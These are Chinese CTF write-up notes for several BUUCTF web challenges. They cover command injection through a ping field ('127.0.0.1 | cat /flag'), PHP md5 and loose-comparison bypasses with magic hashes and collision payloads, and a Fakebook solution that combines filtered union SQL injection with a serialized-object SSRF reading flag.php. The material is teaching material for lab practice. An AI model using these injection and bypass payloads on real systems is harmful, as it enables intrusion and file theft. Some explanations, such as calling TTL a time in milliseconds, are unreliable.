BUUCTF

[ACTF2020 新生赛]Exec 1

在 CTF 中,flag 文件往往位于根目录下,但也不要被反套路了
先ping一下它自己

TTL表示您使用ping命令发送的数据包在网络中的持续时间。
TTL=56表示你的机器发送数据包到对方IP并确认,要花费56毫秒。
一般情况下,TTL=56表示对方是Windows 98或者是Linux操作系统
尝试使用管道符
127.0.0.1 | ls /查看根目录文件
127.0.0.1 | cat /flag 查看根目录下的flag文件


得到flag

BUUCTF [BJDCTF2020]Easy MD51

1、 PHP md5() 函数

  • 语法:md5(string,raw)
  • string:需要计算的字符串
  • raw:规定十六进制或二进制输出格式
    TRUE - 原始 16 字符二进制格式
    FALSE - 默认 32 字符十六进制数
    1
    2
    3
    4
    <?php 
    $str = "ffifdyop";
    echo "TRUE - Raw 16 character binary format: ".md5($str, TRUE)."<br>";
    ?>
    结果:
    1
    TRUE - Raw 16 character binary format: 'or'6�]��!r,��b<br>
    ffifdyop的原始 16 字符二进制格式以’or’6开头,数字开头的字符串都会被识别为True,可以用作注入拼接

php比较绕过

  • php是一种弱类型语言,对数据的类型要求并不严格,可以让数据类型互相转换
    1、使用两个等号 == 比较,只比较值,不比较类型。
    2、用三个等号 === 比较,除了比较值,也比较类型。

字符串和数字比较

  • 字符串和数字比较使用==时,若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串或null,则转换为0
    1
    2
    3
    4
    5
    6
    7
    8
    var_dump(12=="12")                                 //true
    var_dump(12=="12aa") //true
    var_dump( "admin"==0) //true
    var_dump(false==""==0==NULL) //true

    var_dump('a' == 0); //bool(true)
    var_dump('1a' == 1); //bool(true)
    var_dump('12a' == 1); //bool(false)

字符串和布尔型

  • 布尔值true和任意字符串都弱相等,除了0和false,因为0也认为是bool false,true是不等于false的
    1
    2
    3
    4
    var_dump(true=="hyuf")                   //true
    var_dump(True == 0); //bool(false)
    var_dump(True == 'False'); //bool(true)
    var_dump(True == 2); //bool(true)

字符串”0”和科学计数法

1
2
3
4
5
6
7
8
9
10
11
12
13
$str1 = "a";
echo md5($str1); //0cc175b9c0f1b6a831c399e269772661
var_dump(md5($str1) == '0'); //bool(false)
---------------------------------------------------------
$str2 = "s224534898e";
echo md5($str2); //0e420233178946742799316739797882
var_dump(md5($str2) == '0'); //bool(true)
---------------------------------------------------------
$str3 = 'a1b2edaced';
echo md5($str3); //0e45ea817f33691a3dd1f46af81166c4bool
var_dump(md5($str3) == '0'); //bool(false)
---------------------------------------------------------
var_dump('0e111111111111' == '0'); //bool(true)
  • 开头前两个为0e,后面全部为数字的话,他们就会和字符串0相等的
    1、第一条只是0开头,所以只能当普通字符串,结果为false
    2、第二条0e后面全为数字,符合要求,结果为true
    3、第三条虽然为0e,但是后面不全为数字,所以结果为false
    4、数字和“e”开头加上数字的字符串(例如”1e123”)会当作科学计数法去比较

strcmp() 函数漏洞 php5.3之前

  • strcmp(s1,s2)
    1
    2
    3
    4
    5
    6
    当s1<s2时,返回为负数 注意不一定是-1,测试结果是比较字符串长度
    当s1==s2时,返回值= 0
    当s1>s2时,返回正数 注意不一定是1,测试结果是比较字符串长度
    如果两个字符串不同等,但是字符串长度相同,就比较从哪一位开始不同的,然后比较那一位的大小
    即:两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止。如:
    "A"<"B" "a">"A" "computer">"compare"
  • 利用点:这里面只能比较字符串,不能比较数字等其他形式的参数,如果出现了其它参数,则会retrun null,有些题目就是利用这一点来进行和0的完成比较
    一般使用数组来触发

MD5绕过

1
2
3
4
5
6
7
if(MD5($_GET['name']) == MD5($_GET['password'])){
echo $flag;

}
//name[]=1&password[]=2
PHP中md5()函数无法处理数组(会返回NULL)
==的也可以用数组绕过
1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

GET传入a和b要求a不等于b,且a和b的md5值相同,md5的绕过

  • 方法一:利用数组绕过,md5()不能处理数组,传入数组会返回null
    payload如下:
    1
    ?a[]=1&b[]=2
  • 方法二:在php中以“0e”开头的字符串都会以科学计数法来解析,而0的乘积都为0。所以构造md5加密后开头为0e的字符串即可
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    QNKCDZO
    0e830400451993494058024219903391
    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
    s214587387a
    0e848240448830537924465865611904
    s214587387a
    0e848240448830537924465865611904
    s878926199a
    0e545993274517709034328855841020
    s1091221200a
    0e940624217856561557816327384675
    s1885207154a
    0e509367213418206700842008763514
    下面是强比较
    1
    2
    3
    4
    5
    6
    7
    8
    9
     <?php
    error_reporting(0);
    include "flag.php";

    highlight_file(__FILE__);

    if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
    }
    方法一:数组绕过
    payload:
    1
    param1[]=1&param2[]=2
    方法二:使用md5加密后两个完全相等的两个字符串绕过
  • md5无论是32位还是16位,都不可能不重复的表示所有信息,这种重复的例子就称为硬碰撞,有如下代码:
    1
    2
    3
    4
    5
    6
    7
    $s1 = $_GET['a'];
    $s2 = $_GET['b'];
    $s3 = $_GET['c'];
    echo md5($s1),"<br/>";
    echo md5($s2),"<br/>";
    echo md5($s3),"<br/>";
    ?>
    payload:
    1
    2
    3
    ?a=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab
    &b=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
    &c=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab
    三个返回相同的md5值
    1
    ea8b4156874b91a4ef00c5ca3e4a4a34

双md5碰撞绕过

1
2
3
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f

payload:

1
2
3
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

md5碰撞脚本

intval() 函数

  • intval() 函数用于获取变量的整数值
  • 通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值,intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
  • 语法:int intval ( mixed $var [, int $base = 10 ] )
    如果 base 是 0,通过检测 var 的格式来决定使用的进制:
    1
    2
    3
    如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex)
    如果字符串以 "0" 开始,使用 8 进制(octal)
    否则将使用 10 进制 (decimal)
    绕过方法:通过使用0x或者0开始的格式来绕过不相等的判断(像一些要先判断不相等再判断相等的题目)

[极客大挑战 2019]BuyFlag 1

  • is_numeric() 函数用于检测变量是否为数字
    利用:is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值

  • bp修改请求方式
    右键,change request method

{
“registry-mirrors”: [“https://qlmy5iw9.mirror.aliyuncs.com"]
}

[网鼎杯 2018]Fakebook

先在user页面找到注入点no= ,然后测试’发现可能存在sql注入,发现是数字型,继续测试到union select 1,2,3,4时出现提示no hack ~_~,使用fuzz字典测试注入点

union select被过滤,union/**/select中代替空格,常规联合注入

1
no=-1 union/**/select 1,group_concat(data),3,4 from users
1
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:5:"1.com";} 

/robots.txt显示/user.php.bak,查出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

这部分可能存在ssrf,而我们爆出的字段data是序列化后的字符串,说明注册时会序列化我们的信息,回显到页面时再反序列化

这里存在ssrf,data本来回显的是我们自己的博客,但我们把它改为回显flag.php

1
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

改为file:///var/www/html/flag.php,并把对应的s改为对应长度29
payload:

1
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看同一位置的源码,base64解码